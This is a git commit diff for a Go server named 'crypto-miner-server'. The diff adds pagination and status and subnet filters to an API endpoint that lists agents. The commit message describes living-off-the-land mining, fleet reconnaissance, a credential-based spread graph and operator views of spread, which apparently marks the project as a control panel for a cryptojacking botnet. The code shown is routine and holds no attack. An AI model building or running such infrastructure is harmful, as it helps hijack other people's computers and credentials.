Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -4,6 +4,7 @@ import (
"encoding/json"
"net/http"
"strconv"
"strings"
"time"
"crypto-miner-server/internal/db"
@@ -32,8 +33,11 @@ func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
}
// GET /api/v1/agents
// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x).
// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array.
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
agents, err := h.db.ListAgents()
filter, paginated := parseAgentListFilter(r)
agents, err := h.db.ListAgentsFiltered(filter)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
@@ -41,7 +45,56 @@ func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
if agents == nil {
agents = []*models.Agent{}
}
writeJSON(w, agents)
if !paginated {
writeJSON(w, agents)
return
}
total, err := h.db.CountAgentsFiltered(filter)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{
"agents": agents,
"total": total,
"limit": filter.Limit,
"offset": filter.Offset,
})
}
const (
agentListDefaultLimit = 100
agentListMaxLimit = 2000
)
func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) {
limitStr := r.URL.Query().Get("limit")
if limitStr == "" {
return db.AgentListFilter{}, false
}
limit, err := strconv.Atoi(limitStr)
if err != nil || limit <= 0 {
limit = agentListDefaultLimit
}
if limit > agentListMaxLimit {
limit = agentListMaxLimit
}
offset := 0
if offStr := r.URL.Query().Get("offset"); offStr != "" {
if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
offset = o
}
}
status := strings.TrimSpace(r.URL.Query().Get("status"))
if status != "online" && status != "offline" {
status = ""
}
return db.AgentListFilter{
Limit: limit,
Offset: offset,
Status: status,
Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")),
}, true
}
// GET /api/v1/agents/{id}